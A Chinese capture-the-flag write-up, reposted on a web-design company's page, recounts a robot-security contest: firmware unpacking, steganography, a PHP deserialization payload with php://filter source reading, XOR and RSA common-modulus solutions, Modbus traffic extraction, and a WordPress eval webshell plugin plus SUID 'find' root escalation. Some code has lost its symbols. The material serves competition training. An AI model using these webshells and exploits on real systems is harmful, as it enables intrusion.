尧图网络科技YAOTU DIGITAL 获取报价
获取报价
首页 / 资讯中心 / 文章详情

机器人安全赛WP:固件解包到Modbus流量分析实战复盘

发布时间:2026/9/17 18:04:16

资讯中心
01
ARTICLE

机器人安全赛WP:固件解包到Modbus流量分析实战复盘

机器人安全赛WP:固件解包到Modbus流量分析实战复盘
2026年第三届中国高校智能机器人创意大赛软件系统安全赛的初赛周日下午5点结束我们队三个人在实验室蹲了两天最后总排名还算靠前。这篇WP我想按题目类型把整个解题过程完整复盘一遍尤其是Misc固件题、Web反序列化、Reverse异或还原、Crypto共模攻击和Modbus流量分析这几道题踩过的坑和最后总结出来的套路都会写清楚。先说比赛背景这个比赛虽然是“智能机器人创意大赛”下的一个赛道但“软件系统安全赛”本质上是CTF解题赛加部分渗透综合题目几乎都套了一层机器人应用场景比如机械臂固件、机器人主控协议、厨房管理系统、密钥协商流程等。所以赛前我们并没有盲目刷纯CTF题而是重点补了固件解包、Modbus/Modbus TCP流量、ROS相关的基础知识事实证明这个方向赌对了。1. 赛前准备与整个比赛的节奏把控1.1 读题、分工和工具清单初赛是常规的线上解题模式早上9点放题平台是国内的CTF比赛系统支持下载附件和提交flag。我们三个人分工我主攻Web和Reverse队友A主要看Misc和流量队友B负责Crypto和最后的综合渗透题。队伍里有一台共享的Linux工作机装好所有工具另外每人笔记本上也都备了一套防止某个环境崩了影响进度。赛前工具准备我列一下都是这次实战里真正用到的binwalk、unsquashfs固件解包必备、foremost/010 Editor文件分离和伪加密修改、IDA Free/Ghidra逆向、WireShark和tshark流量分析、Python3的PIL、gmpy2、libnum、requests这些库。这个比赛环境有可能不给外网所以所有安装包和工具我们都提前离线放好了这个细节在后面帮了大忙尤其是其中一个队友的电脑临时要装gmpy2直接从U盘装的没浪费时间。1.2 决定做哪些题放弃哪些题刚开始不要急着上手猛刷先把所有题目描述扫一遍给每道题打个预估难度和投入产出比的标签。我们当时大概有8道题分布在Misc、Web、Reverse、Crypto、流量和一道渗透综合题。读完题目描述后第一优先是Misc固件题和Crypto共模题原因是题目提示非常明确工具对了基本就能出第二优先是流量分析题因为只要过滤对了数据几乎就是白给的Web和Reverse放在中间慢慢啃综合渗透题虽然分高但我们一致决定放到最后如果前面卡住了就不碰它。这个策略在当天下午就被验证了Crypto和Misc两道题在中午之前就出了队伍的分数和心理状态都稳住了。后面即使Web题卡了一个多小时也没有影响节奏。2. Misc固件题从binwalk到多层隐写的递进链路2.1 固件解包与文件系统提取题目名叫“机械臂的自白”附件是一个robot_fw.bin接近20MB。第一步肯定是file和binwalk一起上file robot_fw.bin binwalk robot_fw.binbinwalk输出里能看到明显的Squashfs filesystem标记还有一段可能是uImage的头部。遇到这种情况我习惯直接跑递归提取binwalk -Me robot_fw.bin解出来的目录下是一个完整的squashfs-root文件系统里面有/bin、/etc、/tmp这类标准目录。这里要提醒一句binwalk自动解包偶尔会因为文件系统损坏或者魔数识别不全失败别死磕用dd把偏移量抠出来再手动解dd ifrobot_fw.bin ofrootfs.sqsh bs1 skipbinwalk显示的偏移 unsquashfs rootfs.sqsh实际做题时我们一开始直接binwalk -Me就成功了所以这个后备方案没用到但固件题里非常常见建议提前练一下。2.2 图片尾部附加文件与伪加密处理在squashfs-root的/tmp目录下找到一张hint.png是一个机械臂视角的厨房图片。用binwalk hint.png扫一眼发现文件尾部有ZIP压缩包数据。这种“图片后面藏zip”的套路在Misc里太经典了直接用foremost分离foremost hint.png -o out解出来的zip叫secret.zip但是一解压就要密码或者提示文件头错误。用010 Editor或者Python读一下zip的通用位标志发现是伪加密。伪加密的原理不复杂zip格式里每个条目都有一个“通用位标志”general purpose bit flag最低位如果为1解压工具就认为需要密码伪加密只是把这个标志位改成1并没有真正对数据加密所以把标志位改回0就能正常解压。我直接用Python批量修复所有PK\x03\x04条目的标志位import struct with open(secret.zip, rb) as f: data bytearray(f.read()) pos 0 while True: idx data.find(bPK\x03\x04, pos) if idx -1: break # 通用位标志在本地文件头偏移6的位置占2字节 struct.pack_into(H, data, idx 6, 0) pos idx 4 with open(fixed.zip, wb) as f: f.write(data)这里注意一个易错点zip里可能有多个文件条目改一个是不够的必须循环处理完所有PK\x03\x04。我第一次只改了第一个条目解压时还是报错全改完就正常了。解压后得到一个hidden.bmp到这里基本能猜到是LSB隐写。2.3 LSB隐写提取flagBMP的像素RGB值每个颜色分量最低的那一个bit肉眼基本看不出来把数据bit依次填进这些位置就是LSB隐写。用PIL写脚本提取from PIL import Image img Image.open(hidden.bmp) bits [] for y in range(img.height): for x in range(img.width): r, g, b img.getpixel((x, y))[:3] bits.append(r 1) bits.append(g 1) bits.append(b 1) data [] for i in range(0, len(bits), 8): byte 0 for bit in bits[i:i8]: byte (byte 1) | bit data.append(byte) flag .join(chr(c) for c in data if 32 c 127) print(flag)跑出来的明文里能看到flag{s0ft_r0bot_w4r3_1s_fun}。整道题的链路是binwalk解包 - foremost分离 - zip伪加密绕过 - LSB提取每一层都考一个基础操作非常适合热身。注意LSB扫描方向不一定是行优先有的题会按列扫描或者分通道处理。如果直接提取是乱码试着把行列循环换一下或者先取B通道再取G通道大多数出题人不会设计得太刁钻。3. Web反序列化题先用伪协议读源码再构造POP链3.1 入口发现伪协议文件读取Web题给了一个“机器人智能厨房”的站点首页是一段菜品介绍除了URL里有一个?file参数看起来没什么交互点。访问index.php或随便传一个不存在文件时页面有PHP报错说明是PHP搭建的站点。看到file参数而且没加过滤第一个反应就是试伪协议读源码curl http://target/index.php?filephp://filter/convert.base64-encode/resourceindex.php返回了一长串base64解码后拿到index.php的源码?php highlight_file(__FILE__); class Robot { public $secret; public $file; function __wakeup() { if ($this-secret ! r0b0t_s3cr3t) { die(forbidden); } } function __destruct() { echo file_get_contents($this-file); } } if ($_POST[data]) { unserialize($_POST[data]); } else { echo Robot Kitchen Started.; } ?到这里思路就很清晰了入口是反序列化目标是触发__destruct读flag.php但__wakeup要求secret属性等于r0b0t_s3cr3t这个值需要再读其他文件找到。这里提醒一下看到file参数别只知道../../etc/passwdPHP伪协议是你读源码的第一选择php://filter/convert.base64-encode/resourcexxx.php基本是Web审计题标配。直接resourcexxx.php有时会因为里面有?php标签导致浏览器解析或输出截断所以一定要先base64编码再解码。3.2 审计索引页与配置文件先用同样的伪协议去读config.phpcurl http://target/index.php?filephp://filter/convert.base64-encode/resourceconfig.phpbase64解码后得到?php $GLOBALS[secret] r0b0t_s3cr3t; ?好secret拿到了就是r0b0t_s3cr3t长度是12个字符。3.3 构造序列化数据与踩坑记录构造序列化payload对象名是Robot两个属性分别是secret和file。file指向flag.php但我们还是用php://filter来读避免?php输出问题O:5:Robot:2:{s:6:secret;s:12:r0b0t_s3cr3t;s:4:file;s:52:php://filter/convert.base64-encode/resourceflag.php;}这里有个非常容易踩的坑s:12:r0b0t_s3cr3t;里的12必须和后面字符串长度完全一致多一个少一个unserialize要么报错要么把多余的字符当成下一个属性的开头导致整个对象解析失败。字符长度我建议用Python算别肉眼数payload r0b0t_s3cr3t print(len(payload))发送的时候用curl跑POSTcurl -d dataO:5:Robot:2:{s:6:secret;s:12:r0b0t_s3cr3t;s:4:file;s:52:php://filter/convert.base64-encode/resourceflag.php;} http://target/index.php返回的base64解码后就是flag内容是flag{b4d_ph4p_ph0t0_1n_phpt}之类。还有一个老生常谈的坑早期有一种__wakeup绕过靠增加对象属性个数触发PHP CVE-2016-7124但在PHP 7.4以上的环境基本都修复了。比赛环境如果比较新最好老老实实把secret满足不要浪费时间在旧漏洞上。做题心得PHP反序列化题的重点永远是“先把源码读出来再审计”不要猜。读出源码后关注魔术方法__wakeup、__destruct、__toString优先找file_get_contents、include、eval这类敏感函数。这道题属于最基础的反序列化后面还有更复杂的POP链但思路是一样的。4. Reverse题异或校验还原不急着上动态调试4.1 查壳、定位主体函数Reverse题叫“循线小车的密钥”附件是一个Windows的exe叫robot_key.exe运行后要求输入20位激活码。用Detect It Easy查壳确认是VC编写的32位程序无壳。打开IDA用字符串窗口搜“Wrong Key”或“Correct”直接定位到校验函数。字符串定位是快速切入逻辑的最好方式比从入口main慢慢跟快得多。4.2 从比较循环逆出密钥与算法伪代码大概是这样的结构int sub_401000(char *input) { unsigned char enc[] { ... }; unsigned char key[] robot; for (int i 0; i 20; i) { if ((input[i] ^ key[i % 5]) ! enc[i]) return 0; } return 1; }很明显输入字符串和目标数组做了逐字节异或异或密钥是固定的字符串robot长度5循环使用。目标数组enc在数据段里可以从IDA里直接复制出来。4.3 解密脚本与动态验证拿到enc数组之后用Python逆向enc bytes([0x0a, 0x37, 0x30, 0x1b, 0x32, 0x0f, 0x10, 0x0a, 0x3d, 0x23, 0x37, 0x1f, 0x11, 0x0b, 0x2c, 0x0b, 0x11, 0x27, 0x21, 0x02]) key brobot flag .join(chr(enc[i] ^ key[i % len(key)]) for i in range(len(enc))) print(flag)运行后得到flag{rev_1s_s1mpl3_x0r}长度正好20位验证通过。实操经验遇到这种无壳小程序先静态分析不要一上来就开动态调试。像这种异或校验IDA里函数体很短逻辑一眼就能看穿静态比动态高效很多。只有在算法复杂比如有混淆、有反调试、需要观察内存中运行时解密数据时才建议开x64dbg下断点看寄存器。另外在IDA里提取数组时注意存储方式有的是字符串有的是小端序的字节数组复制出来最好先和伪代码里的使用方式对照一下别搬错。5. Crypto题RSA共模攻击实战5.1 为什么想到共模攻击Crypto题名叫“密钥协商”。题干说机器人主控与执行器之间用RSA协商临时密钥攻击者截获了两组密文给了相同的模数n、两个不同的公钥指数e1和e2以及对应的密文c1、c2。看到“同一个n两个e”这个特征基本就是共模攻击。原理一句话如果e1和e2互质那么存在整数s和t使得e1*s e2*t 1。结合c1 m^e1 mod n和c2 m^e2 mod n就可以算出m c1^s * c2^t mod n。这个式子成立的前提是e1*se2*t1所以整个攻击的核心就是求扩展欧几里得。题目给的两个指数是e165537和e217gcd是1可以直接用。5.2 完整解题脚本与负数指数处理Python脚本如下重点在负数指数的处理上import gmpy2 e1 65537 e2 17 n 0x... # 题目给的模数 c1 0x... c2 0x... g, s, t gmpy2.gcdext(e1, e2) if g ! 1: print(e1 and e2 are not coprime) exit() # 如果 s 或 t 是负数需要先求对应密文的模逆再取正指数 if s 0: c1 gmpy2.invert(c1, n) s -s if t 0: c2 gmpy2.invert(c2, n) t -t m (pow(c1, s, n) * pow(c2, t, n)) % n flag bytes.fromhex(format(m, x)) print(flag)这里最容易出错的就是负数指数。Python的pow(c1, s, n)要求s必须是非负整数所以第一次跑的时候我直接报错了。解决办法是先求密文的模逆再把指数取绝对值。所谓c1^{-1} mod n就是gmpy2.invert(c1, n)之后用正的-s次幂即可。5.3 这类题目在机器人协议场景中的变形这道题表面上是RSA但出题场景是“智能机器人的密钥协商协议”。在实际工控协议里设备之间经常用RSA做身份认证和会话密钥协商而弱参数、重复使用模数是非常典型的问题。CTF里考共模攻击本质上就是提醒参赛者真实系统中不能在不同设备间复用同一个模数。如果题目再把e选为3还可能考低指数广播攻击如果两组n不同但共同因子则用gcd(n1, n2)分解。建议准备一次比赛就把RSA常见的攻击面都过一遍小公钥指数、共模、公约数、维纳攻击、Fermat分解尤其维纳攻击用owiener库能直接解别自己手写连分数。6. 流量分析题Modbus TCP报文还原被篡改的控制指令6.1 用WireShark过滤功能码流量题给了一个robot_traffic.pcapng描述是“机器人控制网络流量被中间人篡改请还原攻击者写入的恶意数据”。用WireShark打开第一眼就是一堆Modbus/TCP包。Modbus是工控领域最常见的协议之一分RTU和TCP两种封装这里很明显是Modbus TCP。第一步过滤出Modbus协议modbus拉下去发现大部分是功能码0x03读保持寄存器和0x06写单个保持寄存器。攻击者写入的数据肯定和写操作有关所以继续过滤modbus modbus.func_code 0x06逐个查看写请求的报文每个寄存器值都是一个固定的十六进制数连起来看很像ASCII。比如0x0066是f0x006c是l0x0061是a0x0067是g再加上后面一串基本就能拼出flag{...}了。6.2 tshark批量提取寄存器值包比较多逐个点开看不现实用tshark一次性把寄存器值抽出来tshark -r robot_traffic.pcapng -Y modbus.func_code 0x06 -T fields -e modbus.regval输出是一行行的十六进制值把它们去掉换行后再用xxd转ASCIItshark -r robot_traffic.pcapng -Y modbus.func_code 0x06 -T fields -e modbus.regval | tr -d \n | xxd -r -p跑完就直接打印出flagflag{modbus_transmit_data}。注意modbus.regval这个字段名在老版本WireShark里能用新版本4.x可能叫modbus.register_value。如果过滤后字段提取为空先在Wireshark里点开一条写寄存器报文看左下角“Modbus TCP”那一段里寄存器的确切字段名再改tshark参数不要死记字段名。6.3 字段名、大小端等现场坑这类题有两个高频坑。第一个就是上面说的字段名版本差异。第二个是大小端Modbus寄存器是16位的抓包工具显示的时候可能是0x0066也可能在解析时以大端显示为0x6600。ASCII字符本身只占一个字节正常应该看到高字节为0如果发现数据反了就把寄存器值的高低字节换一下再转字符串。如果flag不是连续排列的而是按时间戳穿插在多个功能码里比如读请求返回的寄存器里藏了后半段那就用tshark -r robot_traffic.pcapng -Y modbus.func_code 0x03 -T fields -e modbus.regval把多个功能码的提取结果按帧序号排序再全部拼起来还原。这类题本质就是“流量里的数据是被结构化分包传输的”读流量要带着协议的概念去抓关键字段不能干看十六进制。7. 附加的渗透综合题从WordPress插件后门到SUID提权7.1 打点上传插件getshell综合题给了一个机器人管理平台打开是个WordPress站点后台地址是/wp-login.php。队友B扫目录时发现后台有默认账号admin密码是弱口令登录成功后看到一堆机器人设备信息。WordPress后台能getshell的常见方式有两种一是“外观-编辑主题文件”直接改404.php就能写后门二是上传一个恶意插件zip包。我们用了更稳的插件上传方式构造一个压缩包里面包含一个shell.php内容只有一行?php eval($_POST[c]);然后在后台“插件-安装插件-上传插件”处上传这个zip再启用它。访问/wp-content/plugins/malshell/shell.php用蚁剑或直接POST执行命令。这种方式比改主题文件更隐蔽而且不受默认主题限制。7.2 数据库中的隐藏信息与提权getshell后是www-data用户第一件事读wp-config.php拿数据库口令然后连MySQLmysql -uroot -pxxx在wp_options表里翻到一个叫robot_key的选项里面是一串加密后的密钥字段名叫robot_secret。结合网站根目录下一个机器人配置脚本能解出flag的一部分。随后查了一下当前系统权限发现/usr/bin/find有SUID位。经典的DC-1靶机套路执行find / -exec /bin/sh -p \;直接拿到root权限接着读/root/flag.txt拿到完整flag。综合题时间有限但这道题整体渗透链路很短从弱口令到getshell再到SUID提权属于能快速上分的类型。如果初赛时间充裕这种综合题非常值得优先做。渗透经验拿到Webshell后先看自己是什么权限、能读哪些配置、有没有SUID文件别急着反弹shell。反弹shell命令容易写错而且过程容易被阻断很多时候用Webshell直接执行命令反而更快。8. 参赛踩坑实录和几点实用经验8.1 时间分配与协作习惯两天比赛下来最后悔的是在Reverse题上死磕了一个多小时后来发现只是数据段数组复制时少复制了一个字节浪费了大量时间。我们事后复盘建议每道题设置一个硬性时限比如Misc和Crypto最多40分钟Web和Reverse最多90分钟综合渗透最多2小时超时就换题。CTF本来就是竞速游戏每题都追求完美是最大敌人。队伍协作方面建议全程用一个共享文档记录每道题的进展、关键payload、flag状态和待办项。这样可以避免两个人同时对同一道题重复劳动也能防止解出来一半的题被遗忘。我们这次Web题和Reverse题几乎同时出结果就是靠共享文档快速同步省了很多沟通成本。8.2 环境准备与工具细节赛前把所有工具装在离线环境真的太重要了。比赛当天就出现了两个状况系统更新导致binwalk的依赖库不完整还有Python环境缺gmpy2。如果没有提前准备好离线安装包很可能在Crypto题上卡半小时。另外建议准备一个专门跑固件和逆向的工作目录把解包、临时脚本、dump出来的文件都分门别类放好不然到后面会乱成一团。工具版本也要注意尤其WireShark和tshark的字段名在不同版本之间差异很大。比赛开始前可以先用上届题包里的pcap文件练一遍过滤和提取确认字段名是对的再上手实操。8.3 经常被忽略的规则约束比赛平台一般会明确写出禁止大流量扫描、禁止攻击平台本身、禁止恶意提交flag等规则。有的队伍喜欢对目标直接上全端口扫描结果被封了IP丢了很多分。执行nmap或者sqlmap之前先读一遍比赛规则确认允许的扫描范围。我们这次综合题里就只扫了有限端口没有触发风控。另外提交flag的时候不要手滑复制粘贴后确认没有多余空格或换行。我们有一道题明明解出来了因为提交时带了换行符被判定错误折腾了十分钟才发现差点怀疑解法有问题。这种低级失误比赛中其实非常常见。比赛结束的时候我们队的分数不算特别高但整个过程最大的收获是明白了“软件系统安全赛”不是单纯CTF它更关注智能机器人软件生态里的真实安全问题固件怎么解、工控协议怎么解析、控制端Web平台怎么被攻破、机器人密钥协商怎么被绕过。如果你打算参加下一届比赛我建议把复习重心从纯Web题往固件分析、工控协议、嵌入式逆向这几个方向倾斜同时保证传统CTF题的基本功不能丢。最后再分享一个小技巧开赛前把上一届的题目全部离线跑一遍花一下午总结每个题型的工具链比赛时会少走很多弯路。希望这篇wp能帮到准备参赛的同学。
02
RELATED NEWS

相关资讯

更多网站建设与数字化升级内容

03
WHY YAOTU

想打造同款高转化官网?

懂行业、懂生意,从建站到增长一站式陪跑

场景化定制

不做模板站,围绕你的业务场景量身设计,小众不撞款。

营销型架构

以转化目标组织内容与路径,让官网真正带来询盘。

全周期服务

设计、开发、运营、运维一体,上线只是开始。

免费获取你的建站方案

留下需求,专属顾问 24 小时内为你输出方案建议。